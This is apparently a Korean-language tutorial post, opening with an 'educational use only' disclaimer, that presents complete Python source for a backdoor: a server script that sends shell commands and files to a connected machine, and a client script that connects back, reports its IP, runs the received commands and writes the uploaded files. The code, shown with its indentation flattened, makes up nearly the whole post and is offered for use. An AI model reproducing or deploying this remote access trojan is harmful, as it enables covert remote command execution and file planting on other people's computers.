이 소프트웨어는 교육 목적으로만 사용됩니다! 누구에게도 피해를 입히는 데 사용하지 마십시오! 내 응용 프로그램을 사용하면 귀하는 모든 규칙에 자동으로 동의하고 귀하의 행동에 대한 책임을 집니다! 법률 위반은 심각한 결과를 초래할 수 있습니다! 개발자 hyomo는 이 프로그램으로 인한 오용이나 손상에 대해 책임지지 않습니다.
오늘은 백도어를 만들어 보도록 하겠습니다
server.py
import socket, os
class RAT_SERVER:
def __init__(self, host, port):
self.host = host
self.port = port
def build_connection(self):
global client, addr, s
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.bind((self.host, self.port))
s.listen(5)
print("[*] 클라이언트를 기다립니다")
client, addr = s.accept()
print()
ipcli = client.recv(1024).decode()
print(f"[*] 연결이 성공적으로 설정되었습니다. {ipcli}")
print()
def banner(self):
print("banner")
def execute(self):
self.banner()
while True:
global command
command = input('명령어 >> ')
if command == 'shell':
client.send(command.encode())
while 1:
command = str(input('>> '))
client.send(command.encode())
if command.lower() == 'exit':
break
result_output = client.recv(13024).decode()
print(result_output)
client.close()
s.close()
elif command == 'upload':
client.send(command.encode())
file = str(input('파일의 파일 경로를 입력하십시오 : '))
filename = str(input("출력 파일의 파일 경로를 입력하십시오 : "))
data = open(file, 'rb')
filedata = data.read(2147483647)
client.send(filename.encode())
print("파일이 전송되었습니다")
client.send(filedata)
rat_server = RAT_SERVER("127.0.0.1", 12345)
rat_server.build_connection()
rat_server.execute()
client.py
import socket, os
import subprocess
class RAT_CLIENT:
def __init__(self, host, port):
self.host = host
self.port = port
self.curdir = os.getcwd()
def build_connection(self):
global s
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((self.host, self.port))
sending = socket.gethostbyname(socket.gethostname())
s.send(sending.encode())
def execute(self):
while True:
command = s.recv(1024).decode()
if command == 'shell':
while 1:
command = s.recv(1024).decode()
if command.lower() == 'exit':
break
if command.startswith("cd"):
if command.strip('\n') == 'cd':
s.send(os.getcwd().encode())
continue
os.chdir(command[3:].replace('\n', ''))
s.send(os.getcwd().encode())
continue
output = subprocess.getoutput(command)
s.send(output.encode())
elif command == 'upload':
filename = s.recv(6000)
newfile = open(filename, 'wb')
data = s.recv(6000)
newfile.write(data)
newfile.close()
rat_client = RAT_CLIENT("127.0.0.1", 12345)
rat_client.build_connection()
rat_client.execute()